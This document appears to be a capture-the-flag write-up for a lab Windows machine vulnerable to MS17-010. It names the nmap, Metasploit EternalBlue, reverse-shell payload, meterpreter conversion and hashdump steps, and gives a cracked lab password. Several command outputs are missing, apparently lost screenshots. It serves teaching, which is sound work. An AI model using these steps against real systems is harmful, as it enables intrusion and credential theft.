Write-up

Step-by-step guide on the approach taken to pwn the machine.

Task 1: RECON

How many ports are opejn with a port number under 1000?

We start by running an nmap scan on ports 1-999:

sudo nmap -sCV -Pn -T5 -p1-9999 <ip_victim>

Answer: 3

What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08-067)

We continue by running another nmap:

Answer: ms17-010


Task 2: GAIN ACCESS

Find the exploitation code we will run against the machine. What is the full path of the code? (Ex: exploit/.......)

We open metasploit

Answer: exploit/windows/smb/ms17_010_eternalblue

Show options and set the one required value. What is the name of this value? (All caps for submission)

To get the answer we need to select the previous exploit and watch the options

Answer: RHOSTS

Usually it would be fine to run this exploit as is; however, for the sake of learning, you should do one more thing before exploiting the target. Enter the following command and press enter:

set payload windows/x64/shell/reverse_tcp

To perform this we need to do the following on our msfconsole:


Task 3: ESCALATE

If you haven't already, background the previously gained shell (CTRL+Z). Research online how to convert a shell to meterpreter shell in metasploit. What is the name of the post module we will use? (exact path, similar to the exploit we previously selected)

In order to convert a shell to meterpreter shell in metasploit we should do:

Answer: post/multi/manage/shell_to_meterpreter

Select this (use MODULE_PATH). Show options, what option are we required to change?

We should do:

After a while we can see another session created.

Answer: SESSION

Once the meterpreter shell conversion completes, select that session for use.

List all of the processes running via the 'ps' command. Just because we are system doesn't mean our process is. Find a process towards the bottom of this list that is running at NT AUTHORITY\SYSTEM and write down the process id (far left column)

For this step and the next one, we should execute:


Task 4: CRACKING

Within our elevated meterpreter shell, run the command 'hashdump'. This will dump all of the passwords on the machine as long as we have the correct privileges to do so. What is the name of the non-default user?

Now we are going to use hashdump:

Answer: Jon

Copy this password hash to a file and research how to crack it. What is the cracked password?

For this we should use crackstation

Answer: alwfna22


Task 5: FIND FLAGS!

Flag1? This flag can be found at the system root.

System root is in / so:

*Errata: Windows really doesn't like the location of this flag and can occasionally delete it. It may be necessary in some cases to terminate/restart the machine and rerun the exploit to find this flag. This relatively rare, however, it can happen.

So, we need to execute:

Flag3? This flag can be found in an excellent location to loot. After all, Administrators usually have pretty interesting things saved.

After a while searching, we's founded the flag3 in C:\Users\Jon\Documents so:


Last updated